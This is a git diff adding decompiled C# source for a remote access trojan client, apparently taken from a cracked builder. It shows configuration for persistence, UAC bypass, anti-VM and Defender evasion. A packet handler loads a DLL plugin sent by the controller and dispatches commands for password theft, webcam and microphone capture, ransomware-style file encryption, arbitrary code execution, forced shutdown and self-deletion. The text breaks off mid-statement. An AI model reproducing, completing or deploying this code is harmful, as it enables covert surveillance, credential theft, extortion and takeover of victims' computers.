MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System; + +#nullable disable +internal class Config +{ + public static string Version = "v4.0.0"; + public static string Mutex = "silly1"; + public static int pt = Convert.ToInt32("silly3"); + public static string ht = "silly2"; + public static bool Startup = Convert.ToBoolean("silly4"); + public static int Delay = Convert.ToInt32("silly5"); + public static bool ProcessCritical = Convert.ToBoolean("silly6"); + public static bool HideFile = Convert.ToBoolean("silly7"); + public static bool Box = Convert.ToBoolean("silly8"); + public static string BoxMsg = "silly9"; + public static string BoxIcon = "silly10"; + public static bool UAC = Convert.ToBoolean("silly11"); + public static bool Assist = false; + public static bool OpenWebsite = Convert.ToBoolean("silly13"); + public static string Website = "silly14"; + public static bool VM = Convert.ToBoolean("silly15"); + public static string Tag = "silly16"; + public static string BoxTit = "silly17"; + public static bool HidProc = Convert.ToBoolean("silly18"); + public static bool UACBy = false; + public static string Password = "silly20"; + public static string Raw = "silly21"; + public static int Reconnect = Convert.ToInt32("silly22"); + public static bool Defender = Convert.ToBoolean("silly23"); +} diff --git a/Client/Costura/AssemblyLoader.cs b/Client/Costura/AssemblyLoader.cs new file mode 100644 index 0000000..840c8aa --- /dev/null +++ b/Client/Costura/AssemblyLoader.cs @@ -0,0 +1,209 @@ +// Decompiled with JetBrains decompiler +// Type: Costura.AssemblyLoader +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.IO.Compression; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Threading; + +#nullable disable +namespace Costura; + +[CompilerGenerated] +internal static class AssemblyLoader +{ + private static object nullCacheLock = new object(); + private static Dictionary nullCache = new Dictionary(); + private static Dictionary assemblyNames = new Dictionary(); + private static Dictionary symbolNames = new Dictionary(); + private static int isAttached; + + private static string CultureToString(CultureInfo culture) + { + return culture == null ? string.Empty : culture.Name; + } + + private static Assembly ReadExistingAssembly(AssemblyName name) + { + foreach (Assembly assembly in AppDomain.CurrentDomain.GetAssemblies()) + { + AssemblyName name1 = assembly.GetName(); + // ISSUE: reference to a compiler-generated method + // ISSUE: reference to a compiler-generated method + if (string.Equals(name1.Name, name.Name, StringComparison.InvariantCultureIgnoreCase) && string.Equals(AssemblyLoader.CultureToString(name1.CultureInfo), AssemblyLoader.CultureToString(name.CultureInfo), StringComparison.InvariantCultureIgnoreCase)) + return assembly; + } + return (Assembly) null; + } + + private static string GetAssemblyResourceName(AssemblyName requestedAssemblyName) + { + string lowerInvariant = requestedAssemblyName.Name.ToLowerInvariant(); + if (requestedAssemblyName.CultureInfo != null && !string.IsNullOrEmpty(requestedAssemblyName.CultureInfo.Name)) + { + // ISSUE: reference to a compiler-generated method + lowerInvariant = $"{AssemblyLoader.CultureToString(requestedAssemblyName.CultureInfo)}.{lowerInvariant}".ToLowerInvariant(); + } + return lowerInvariant; + } + + private static void CopyTo(Stream source, Stream destination) + { + byte[] buffer = new byte[81920 /*0x014000*/]; + int count; + while ((count = source.Read(buffer, 0, buffer.Length)) != 0) + destination.Write(buffer, 0, count); + } + + private static Stream LoadStream(string fullName) + { + Assembly executingAssembly = Assembly.GetExecutingAssembly(); + if (!fullName.EndsWith(".compressed")) + return executingAssembly.GetManifestResourceStream(fullName); + using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(fullName)) + { + using (DeflateStream source = new DeflateStream(manifestResourceStream, CompressionMode.Decompress)) + { + MemoryStream destination = new MemoryStream(); + // ISSUE: reference to a compiler-generated method + AssemblyLoader.CopyTo((Stream) source, (Stream) destination); + destination.Position = 0L; + return (Stream) destination; + } + } + } + + private static Stream LoadStream(Dictionary resourceNames, string name) + { + string fullName; + // ISSUE: reference to a compiler-generated method + return resourceNames.TryGetValue(name, out fullName) ? AssemblyLoader.LoadStream(fullName) : (Stream) null; + } + + private static byte[] ReadStream(Stream stream) + { + byte[] buffer = new byte[stream.Length]; + stream.Read(buffer, 0, buffer.Length); + return buffer; + } + + private static Assembly ReadFromEmbeddedResources( + Dictionary assemblyNames, + Dictionary symbolNames, + AssemblyName requestedAssemblyName) + { + // ISSUE: reference to a compiler-generated method + string assemblyResourceName = AssemblyLoader.GetAssemblyResourceName(requestedAssemblyName); + byte[] rawAssembly; + // ISSUE: reference to a compiler-generated method + using (Stream stream = AssemblyLoader.LoadStream(assemblyNames, assemblyResourceName)) + { + if (stream == null) + return (Assembly) null; + // ISSUE: reference to a compiler-generated method + rawAssembly = AssemblyLoader.ReadStream(stream); + } + // ISSUE: reference to a compiler-generated method + using (Stream stream = AssemblyLoader.LoadStream(symbolNames, assemblyResourceName)) + { + if (stream != null) + { + // ISSUE: reference to a compiler-generated method + byte[] rawSymbolStore = AssemblyLoader.ReadStream(stream); + return Assembly.Load(rawAssembly, rawSymbolStore); + } + } + return Assembly.Load(rawAssembly); + } + + public static Assembly ResolveAssembly(object sender, ResolveEventArgs e) + { + string name = e.Name; + AssemblyName assemblyName = new AssemblyName(name); + // ISSUE: reference to a compiler-generated field + lock (AssemblyLoader.nullCacheLock) + { + // ISSUE: reference to a compiler-generated field + if (AssemblyLoader.nullCache.ContainsKey(name)) + return (Assembly) null; + } + // ISSUE: reference to a compiler-generated method + Assembly assembly1 = AssemblyLoader.ReadExistingAssembly(assemblyName); + if ((object) assembly1 != null) + return assembly1; + // ISSUE: reference to a compiler-generated field + // ISSUE: reference to a compiler-generated field + // ISSUE: reference to a compiler-generated method + Assembly assembly2 = AssemblyLoader.ReadFromEmbeddedResources(AssemblyLoader.assemblyNames, AssemblyLoader.symbolNames, assemblyName); + if ((object) assembly2 == null) + { + // ISSUE: reference to a compiler-generated field + lock (AssemblyLoader.nullCacheLock) + { + // ISSUE: reference to a compiler-generated field + AssemblyLoader.nullCache[name] = true; + } + if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None) + assembly2 = Assembly.Load(assemblyName); + } + return assembly2; + } + + static AssemblyLoader() + { + // ISSUE: reference to a compiler-generated field + AssemblyLoader.assemblyNames.Add("costura", "costura.costura.dll.compressed"); + // ISSUE: reference to a compiler-generated field + AssemblyLoader.symbolNames.Add("costura", "costura.costura.pdb.compressed"); + // ISSUE: reference to a compiler-generated field + AssemblyLoader.assemblyNames.Add("messagepacklib", "costura.messagepacklib.dll.compressed"); + // ISSUE: reference to a compiler-generated field + AssemblyLoader.assemblyNames.Add("system.buffers", "costura.system.buffers.dll.compressed"); + } + + public static void Attach(bool subscribe) + { + // ISSUE: reference to a compiler-generated field + if (Interlocked.Exchange(ref AssemblyLoader.isAttached, 1) == 1 || !subscribe) + return; + AppDomain.CurrentDomain.AssemblyResolve += (ResolveEventHandler) ((sender, e) => + { + string name = e.Name; + AssemblyName assemblyName = new AssemblyName(name); + // ISSUE: reference to a compiler-generated field + lock (AssemblyLoader.nullCacheLock) + { + // ISSUE: reference to a compiler-generated field + if (AssemblyLoader.nullCache.ContainsKey(name)) + return (Assembly) null; + } + // ISSUE: reference to a compiler-generated method + Assembly assembly1 = AssemblyLoader.ReadExistingAssembly(assemblyName); + if ((object) assembly1 != null) + return assembly1; + // ISSUE: reference to a compiler-generated field + // ISSUE: reference to a compiler-generated field + // ISSUE: reference to a compiler-generated method + Assembly assembly2 = AssemblyLoader.ReadFromEmbeddedResources(AssemblyLoader.assemblyNames, AssemblyLoader.symbolNames, assemblyName); + if ((object) assembly2 == null) + { + // ISSUE: reference to a compiler-generated field + lock (AssemblyLoader.nullCacheLock) + { + // ISSUE: reference to a compiler-generated field + AssemblyLoader.nullCache[name] = true; + } + if ((assemblyName.Flags & AssemblyNameFlags.Retargetable) != AssemblyNameFlags.None) + assembly2 = Assembly.Load(assemblyName); + } + return assembly2; + }); + } +} diff --git a/Client/Costura/costura/dll.compressed b/Client/Costura/costura/dll.compressed new file mode 100644 index 0000000..9568d81 Binary files /dev/null and b/Client/Costura/costura/dll.compressed differ diff --git a/Client/Costura/costura/pdb.compressed b/Client/Costura/costura/pdb.compressed new file mode 100644 index 0000000..311e781 Binary files /dev/null and b/Client/Costura/costura/pdb.compressed differ diff --git a/Client/Costura/messagepacklib/dll.compressed b/Client/Costura/messagepacklib/dll.compressed new file mode 100644 index 0000000..6e19cd1 Binary files /dev/null and b/Client/Costura/messagepacklib/dll.compressed differ diff --git a/Client/Costura/system/buffers/dll.compressed b/Client/Costura/system/buffers/dll.compressed new file mode 100644 index 0000000..3f587d3 Binary files /dev/null and b/Client/Costura/system/buffers/dll.compressed differ diff --git a/Client/HandlePacket.cs b/Client/HandlePacket.cs new file mode 100644 index 0000000..a743c1d --- /dev/null +++ b/Client/HandlePacket.cs @@ -0,0 +1,2126 @@ +// Decompiled with JetBrains decompiler +// Type: HandlePacket +// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510 +// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe + +using Microsoft.Win32; +using Stuff; +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Reflection; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +#nullable disable +public class HandlePacket +{ + private ConcurrentDictionary> ReceivedChunks = new ConcurrentDictionary>(); + private ConcurrentDictionary TotalChunks = new ConcurrentDictionary(); + private static Socks5Server socksServer; + private readonly SillyClient sillyclient; + private Assembly asm; + private bool _dllLoaded; + private ConcurrentDictionary DllBuffers = new ConcurrentDictionary(); + private ConcurrentDictionary ExpectedSizes = new ConcurrentDictionary(); + private ConcurrentDictionary ExpectedHashes = new ConcurrentDictionary(); + + public Assembly DllAssembly => this.asm; + + public bool IsDllLoaded => this._dllLoaded; + + public HandlePacket(SillyClient client) + { + this.sillyclient = client ?? throw new ArgumentNullException(nameof(client)); + } + + private void SendError(string message) + { + Console.WriteLine("ERROR: " + message); + Pack pack = new Pack(); + pack.SetString("Packet", "Error"); + pack.SetString("Error", $"(From {Environment.UserName}): {message}"); + this.sillyclient.Send(pack.Pacc()); + } + + public void SendSuccess(string message) + { + Console.WriteLine("SUCCESS: " + message); + Pack pack = new Pack(); + pack.SetString("Packet", "Success"); + pack.SetString("Message", $"(From {Environment.UserName}): {message}"); + this.sillyclient.Send(pack.Pacc()); + } + + private void SendInfo(string message) + { + Console.WriteLine("Info: " + message); + Pack pack = new Pack(); + pack.SetString("Packet", "PluginMessage"); + pack.SetString("Message", $"(From {Environment.UserName}): {message}"); + this.sillyclient.Send(pack.Pacc()); + } + + private string ComputeSha256(byte[] data) + { + return BitConverter.ToString(SHA256.Create().ComputeHash(data)).Replace("-", "").ToLowerInvariant(); + } + + private void HandleDllStart(Unpack unpack) + { + string asString = unpack.GetAsString("TransferId"); + long asLong = unpack.GetAsLong("Size"); + string lowerInvariant = unpack.GetAsString("Hash").ToLowerInvariant(); + int asInteger = unpack.GetAsInteger("TotalChunks"); + this.SendInfo($"Starting transfer {asString} on client {Environment.UserName}@{Environment.MachineName} for {asInteger.ToString()} chunks"); + this.DllBuffers[asString] = new MemoryStream(); + this.ExpectedSizes[asString] = asLong; + this.ExpectedHashes[asString] = lowerInvariant; + this.ReceivedChunks[asString] = new ConcurrentDictionary(); + this.TotalChunks[asString] = asInteger; + Pack pack = new Pack(); + pack.SetString("Packet", "DLL_CHUNK_ACK"); + pack.SetString("TransferId", asString); + pack.SetInt("ChunkIndex", -1); + this.sillyclient.Send(pack.Pacc()); + } + + private void HandleDllChunk(Unpack unpack) + { + string asString = unpack.GetAsString("TransferId"); + int asInteger = unpack.GetAsInteger("ChunkIndex"); + byte[] asByteArray = unpack.GetAsByteArray("Data"); + if (!this.ReceivedChunks.ContainsKey(asString) || this.ReceivedChunks[asString].ContainsKey(asInteger)) + return; + this.ReceivedChunks[asString][asInteger] = asByteArray; + Pack pack = new Pack(); + pack.SetString("Packet", "DLL_CHUNK_ACK"); + pack.SetString("TransferId", asString); + pack.SetInt("ChunkIndex", asInteger); + this.sillyclient.Send(pack.Pacc()); + } + + private void HandleDllEnd(Unpack unpack) + { + string asString = unpack.GetAsString("TransferId"); + if (!this.ReceivedChunks.ContainsKey(asString)) + return; + int totalChunk = this.TotalChunks[asString]; + for (int key = 0; key < totalChunk; ++key) + { + if (!this.ReceivedChunks[asString].ContainsKey(key)) + { + this.SendError($"Missing chunk {key}, retrying transfer to {Environment.UserName}@{Environment.MachineName}"); + this.CleanupDll(asString); + this.RetryDll(); + return; + } + } + byte[] array; + using (MemoryStream memoryStream = new MemoryStream()) + { + for (int key = 0; key < totalChunk; ++key) + memoryStream.Write(this.ReceivedChunks[asString][key], 0, this.ReceivedChunks[asString][key].Length); + array = memoryStream.ToArray(); + } + if ((long)array.Length != this.ExpectedSizes[asString]) + { + this.SendError($"Size mismatch. Expected {this.ExpectedSizes[asString]}, got {array.Length}"); + this.CleanupDll(asString); + this.RetryDll(); + } + else + { + string sha256 = this.ComputeSha256(array); + if (sha256 != this.ExpectedHashes[asString]) + { + this.SendError($"Hash mismatch. Expected {this.ExpectedHashes[asString]}, got {sha256}"); + this.CleanupDll(asString); + this.RetryDll(); + } + else + { + try + { + this.asm = Assembly.Load(array); + this._dllLoaded = true; + } + catch (Exception ex) + { + this.SendError("Failed to load assembly. Possible corruption, runtime block or antivirus restriction: " + ex.Message); + this.CleanupDll(asString); + return; + } + try + { + Type type = this.asm.GetType("Core.EntryPoint", false, true); + if (type == (Type)null) + { + this.SendError("EntryPoint type not found in DLL, maybe is corrupted?"); + this.CleanupDll(asString); + } + else + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + type.GetMethod("Start")?.Invoke((object)null, new object[1] + { + (object) clientBridge + }); + type.GetMethod("SendInfo")?.Invoke((object)null, new object[1] + { + (object) clientBridge + }); + this.SendSuccess("DLL loaded and bridge initialized successfully"); + } + } + catch (Exception ex) + { + this.SendError("DLL execution failed: " + ex.Message); + } + finally + { + this.CleanupDll(asString); + } + } + } + } + + private void RetryDll() + { + Pack pack = new Pack(); + pack.SetString("Packet", "DLLStart"); + this.sillyclient.Send(pack.Pacc()); + } + + private void CleanupDll(string transferId) + { + MemoryStream memoryStream; + if (this.DllBuffers.TryRemove(transferId, out memoryStream) && memoryStream != null) + { + memoryStream.Dispose(); + } + this.ExpectedSizes.TryRemove(transferId, out long _); + this.ExpectedHashes.TryRemove(transferId, out string _); + ConcurrentDictionary concurrentDictionary; + if (this.ReceivedChunks.TryRemove(transferId, out concurrentDictionary)) + { + foreach (KeyValuePair keyValuePair in concurrentDictionary) + keyValuePair.Value?.Initialize(); + } + this.TotalChunks.TryRemove(transferId, out int _); + } + + private void cmd(string cmdname) + { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) cmdname + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine($"Error invoking {cmdname}{ex?.ToString()}"); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Beep."); + } + + public void Run(byte[] packet) + { + if (packet == null) + return; + Unpack unpack = new Unpack(); + unpack.Unpacc(packet); + string asString1 = unpack.GetAsString("Packet"); + if (asString1 != "Ping") + Console.WriteLine("Processing packet: " + asString1); + // ISSUE: reference to a compiler-generated method + switch (asString1) + { + case "Xbox": { + this.cmd("xbox"); + return; + } + break; + case "LoopScreen": { + this.cmd("LoopScreen"); + return; + } + break; + case "Undark": { + this.cmd("Undark"); + return; + } + break; + case "regenable": { + this.cmd("regenable"); + return; + } + break; + case "Uncat": { + this.cmd("Uncat"); + return; + } + break; + case "Beep": { + this.cmd("Beep"); + return; + } + break; + case "Encrypt": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString2 = unpack.GetAsString("Password"); + string asString3 = unpack.GetAsString("Content"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"encrypt#{asString2}#{asString3}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Encrypt: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Encrypt."); + return; + } + break; + case "Roblox": { + this.cmd("roblox"); + return; + } + break; + case "Draw": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString4 = unpack.GetAsString("data"); + int asInteger1 = unpack.GetAsInteger("w"); + int asInteger2 = unpack.GetAsInteger("h"); + string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(asString4)); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"draw#{base64String}#{asInteger1}#{asInteger2}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Draw: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Draw."); + return; + } + break; + case "Restore": { + this.cmd("Restore"); + return; + } + break; + case "TrapMouse": { + this.cmd("TrapMouse"); + return; + } + break; + case "GetScreen": { + this.cmd("GetScreen"); + return; + } + break; + case "Notify": { + string asString5 = unpack.GetAsString("title"); + string asString6 = unpack.GetAsString("content"); + NotifyIcon notify = new NotifyIcon() + { + Visible = true, + Icon = SystemIcons.Asterisk, + BalloonTipTitle = asString6, + BalloonTipText = asString5, + BalloonTipIcon = ToolTipIcon.None + }; + notify.ShowBalloonTip(7000); + Timer timer = new Timer(); + timer.Interval = 7000; + timer.Tick += (EventHandler)((s, e) => + { + notify.Dispose(); + timer.Stop(); + timer.Dispose(); + }); + timer.Start(); + return; + } + break; + case "DLL_CHUNK": { + this.HandleDllChunk(unpack); + return; + } + break; + case "Wallpaper": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString7 = unpack.GetAsString("Image"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("Wallpaper#" + asString7) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking wallpaper: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process wallpaper."); + return; + } + break; + case "Decrypt": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString8 = unpack.GetAsString("Password"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("Decrypt#" + asString8) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Decrypt: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Decrypt."); + return; + } + break; + case "DeviceRequest": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Device", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "Minecraft": { + this.cmd("Minecraft"); + return; + } + break; + case "ChangePassword": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString9 = unpack.GetAsString("Password"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("ChangePassword#" + asString9) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking ChangePassword: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process ChangePassword."); + return; + } + break; + case "UntrapMouse": { + this.cmd("UntrapMouse"); + return; + } + break; + case "Chat": { + this.cmd("Chat"); + return; + } + break; + case "LogOff": { + Pack pack = new Pack(); + pack.SetString("Packet", "PluginMessage"); + pack.SetString("Message", $"(From {Environment.UserName}): Log off in progress"); + this.sillyclient.Send(pack.Pacc()); + new Process() + { + StartInfo = new ProcessStartInfo() + { + FileName = "cmd", + Arguments = "/c Shutdown /l /f", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true + } + }.Start(); + return; + } + break; + case "PortSpy": { + this.cmd("PortSpy"); + return; + } + break; + case "Caps": { + this.cmd("Caps"); + return; + } + break; + case "Firefox": { + this.cmd("Firefox"); + return; + } + break; + case "Execute": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString10 = unpack.GetAsString("Type"); + string str = unpack.GetAsString("Code").Replace("// Type your code here! :)", ""); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"execute#{asString10}#{str}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Execute: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Execute."); + return; + } + break; + case "DLL_END": { + this.HandleDllEnd(unpack); + return; + } + break; + case "Notepad": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString11 = unpack.GetAsString("Title"); + string asString12 = unpack.GetAsString("Content"); + string str = Path.Combine(Path.GetTempPath(), $"{asString11}_{Helpers.Random(3)}"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"Notepad#{asString12}#{str}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking notepad: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process notepad."); + return; + } + break; + case "MicToggle": { + this.cmd("MicToggle"); + return; + } + break; + case "Kill": { + Pack pack1 = new Pack(); + pack1.SetString("Packet", "PluginMessage"); + pack1.SetString("Message", $"(From {Environment.UserName}): Removing configurations & files"); + this.sillyclient.Send(pack1.Pacc()); + if (Config.Startup) + { + RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", RegistryKeyPermissionCheck.ReadWriteSubTree); + registryKey.DeleteValue(Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().Location)); + registryKey.Close(); + } + string path = Path.GetTempFileName() + ".bat"; + using (StreamWriter streamWriter = new StreamWriter(path)) + { + streamWriter.WriteLine("@echo off"); + streamWriter.WriteLine("timeout 3 > NUL"); + streamWriter.WriteLine("CD " + Application.StartupPath); + streamWriter.WriteLine($"DEL \"{Path.GetFileName(Application.ExecutablePath)}\" /f /q"); + streamWriter.WriteLine("CD " + Path.GetTempPath()); + streamWriter.WriteLine($"DEL \"{Path.GetFileName(path)}\" /f /q"); + } + Process.Start(new ProcessStartInfo() + { + FileName = path, + CreateNoWindow = true, + ErrorDialog = false, + UseShellExecute = false, + WindowStyle = ProcessWindowStyle.Hidden + }); + Pack pack2 = new Pack(); + pack2.SetString("Packet", "Error"); + pack2.SetString("Packet", $"(From {Environment.UserName}): The program was deleted from the client"); + Environment.Exit(0); + return; + } + break; + case "TTS": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString13 = unpack.GetAsString("Text"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("TTS#" + asString13) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking TTS: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process TTS."); + return; + } + break; + case "StopMelt": { + this.cmd("StopMelt"); + return; + } + break; + case "PC": { + this.cmd("PC"); + return; + } + break; + case "Restart": { + Pack pack = new Pack(); + pack.SetString("Packet", "PluginMessage"); + pack.SetString("Message", $"(From {Environment.UserName}): Restart in progress"); + this.sillyclient.Send(pack.Pacc()); + new Process() + { + StartInfo = new ProcessStartInfo() + { + FileName = "cmd", + Arguments = "/c Shutdown /r /f /t 0", + WindowStyle = ProcessWindowStyle.Hidden, + CreateNoWindow = true + } + }.Start(); + return; + } + break; + case "Sleep": { + this.cmd("sleep"); + return; + } + break; + case "Website": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString14 = unpack.GetAsString("URL"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("website#" + asString14) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking website: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process website."); + return; + } + break; + case "Bypass": { + this.cmd("bypass"); + return; + } + break; + case "StartRecording": { + this.cmd("StartRecording"); + return; + } + break; + case "CloseChat": { + this.cmd("CloseChat"); + return; + } + break; + case "RegistryRequest": { + if (!this._dllLoaded || this.asm == (Assembly)null) + return; + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Reg", BindingFlags.Static | BindingFlags.Public); + if (!(method != (MethodInfo)null)) + return; + method.Invoke((object)null, new object[1] + { + (object) unpack + }); + return; + } + break; + case "cmdenable": { + this.cmd("cmdenable"); + return; + } + break; + case "Mute": { + this.cmd("Mute"); + return; + } + break; + case "GetWebcams": { + this.cmd("GetWebcams"); + return; + } + break; + case "GetPassword": { + this.cmd("getpassword"); + return; + } + break; + case "Clientinfo": { + this.cmd("Clientinfo"); + return; + } + break; + case "Dark": { + this.cmd("Dark"); + return; + } + break; + case "Report": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + string asString15 = unpack.GetAsString("Name"); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) ("Report#" + asString15) + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Report: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Report."); + return; + } + break; + case "Jigsaw": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public); + if (method != (MethodInfo)null) + { + ClientBridge clientBridge = new ClientBridge(this.sillyclient); + method.Invoke((object)null, new object[2] + { + (object) clientBridge, + (object) $"Jigsaw#{unpack.GetAsString("Game")}#{unpack.GetAsString("Score")}#{unpack.GetAsString("Action")}" + }); + return; + } + Console.WriteLine("Command method not found in DLL."); + return; + } + catch (Exception ex) + { + Console.WriteLine("Error invoking Jigsaw: " + ex?.ToString()); + return; + } + } + } + Console.WriteLine("DLL not loaded yet, cannot process Jigsaw."); + return; + } + break; + case "FileSearch": { + if (this._dllLoaded) + { + if (!(this.asm == (Assembly)null)) + { + try + { + MethodInfo method = 